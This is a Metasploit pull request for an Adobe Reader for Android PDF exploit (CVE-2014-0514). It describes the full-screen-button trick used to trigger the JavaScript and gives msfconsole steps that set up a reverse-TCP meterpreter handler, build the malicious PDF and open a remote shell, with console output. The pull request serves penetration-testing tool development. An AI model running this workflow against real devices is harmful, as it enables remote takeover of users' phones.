rapid7/metasploit-framework — pull request #3414 by jvennix-r7 (2014-05-31 21:18:26+00:00)
Title: CVE-2014-0514 Adobe Reader for Android addJavascriptInterface PDF fileformat exploit

BLOCKED until #3086 lands. I refactored some of the js logic into a mixin that is now shared between the android browser and pdf exploits.

I also had to modify the `Msf::Exploit::PDF` mixin to support non-sequential object IDs. I don't *think* this should break anything, but regression tests are included in the verification steps.

Note that Adobe Reader for Android supports only a limited subset of the typical Reader javascript, and Document-level javascripts are explicitly forbidden. This was a huge pain in my ass. I couldn't find a way to "autorun" the js, but was able to overlay a large button over the entire document, so pressing anywhere on the device's screen will get the shell. However this meant a larger-than-normal object graph, and hand-rolling this into the PDF file format really really sucks. So I generated the add_object calls from the PDF in the PoC using [this script](https://gist.github.com/jvennix-r7/e3b70490c1a950d9e5fb). I can add this to the repo if it seems useful.

#### Verification:

- [ ] Download and install the Adobe Reader 11.1.3 .apk on to any android > 3. You can grab it from Adobe here:

ftp://ftp.adobe.com/pub/adobe/reader/android/11.x/11.1.3/

- [ ] Run a handler:

msf> use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.0.4
lhost => 192.168.0.4
msf exploit(handler) > run -j
[*] Exploit running as background job.

- [ ] Generate the pdf:

msf> use exploit/android/fileformat/adobe_reader_pdf_js_interface
msf exploit(adobe_reader_pdf_js_interface) > set lhost 192.168.0.4
lhost => 192.168.0.4
msf exploit(adobe_reader_pdf_js_interface) > run
[*] Generating Javascript exploit...
[*] Creating PDF...
[+] msf.pdf stored at /Users/joe/.msf4/local/msf.pdf

- [ ] View the PDF on the android device in Adobe Reader. Once the pdf loads, tap anywhere on the PDF.
- [ ] You should get a working meterpreter session

msf exploit(adobe_reader_pdf_js_interface) >
[*] Sending stage (40248 bytes) to 192.168.0.4
[*] Meterpreter session 1 opened (192.168.0.4:4444 -> 192.168.0.4:51870) at 2014-05-31 15:50:30 -0500

#### Regression test for pdf.rb

- [ ] Get a shell from `exploit/windows/fileformat/adobe_geticon` on Adobe Reader 9.0.0 on Windows XP SP3
- [ ] Get a shell from `exploit/windows/fileformat/coolpdf_image_stream_bof` on Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3
- [ ] Get a shell from `exploit/windows/fileformat/foxit_title_bof` on Foxit Reader v4.1.1 / Windows XP